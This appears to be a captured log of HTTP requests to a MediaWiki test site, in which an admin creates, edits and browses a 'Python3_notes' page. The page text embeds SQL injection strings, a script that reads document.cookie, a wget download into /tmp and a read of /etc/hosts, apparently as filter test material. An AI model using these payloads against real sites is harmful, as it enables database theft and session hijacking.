{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3326", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNQNQnbmS4ZVnKScr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n52f141f04963c493bdb6c4af9cc78baa6af22676+\\\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryNQNQnbmS4ZVnKScr--\r\n"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3320", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykls0Dipt2ipQMyNX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on python3, python3, ls -la and .htaccess\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarykls0Dipt2ipQMyNX--\r\n"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision6=created; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 286", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&text=%3D%3D+Install+%3D%3D%0ARun+python3+and+ls+-la.%0A&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 294", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+python3&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=6&stashedtexthash=d0421394053f14ddb1f57a01b31f24db41037dbe&token=3d2253a69b15a92037b2054ed89260316af22677%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypB0FpyADbvwzBWrz", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200055\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n6\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun python3 and ls -la.\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ python3\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n3d2253a69b15a92037b2054ed89260316af22677+\\\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarypB0FpyADbvwzBWrz--\r\n"}
{"method": "GET", "target": "/index.php?title=Python3_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=python3&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Python3+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.special%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:FileDuplicateSearch&filename=Pic+python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpython3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=py&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
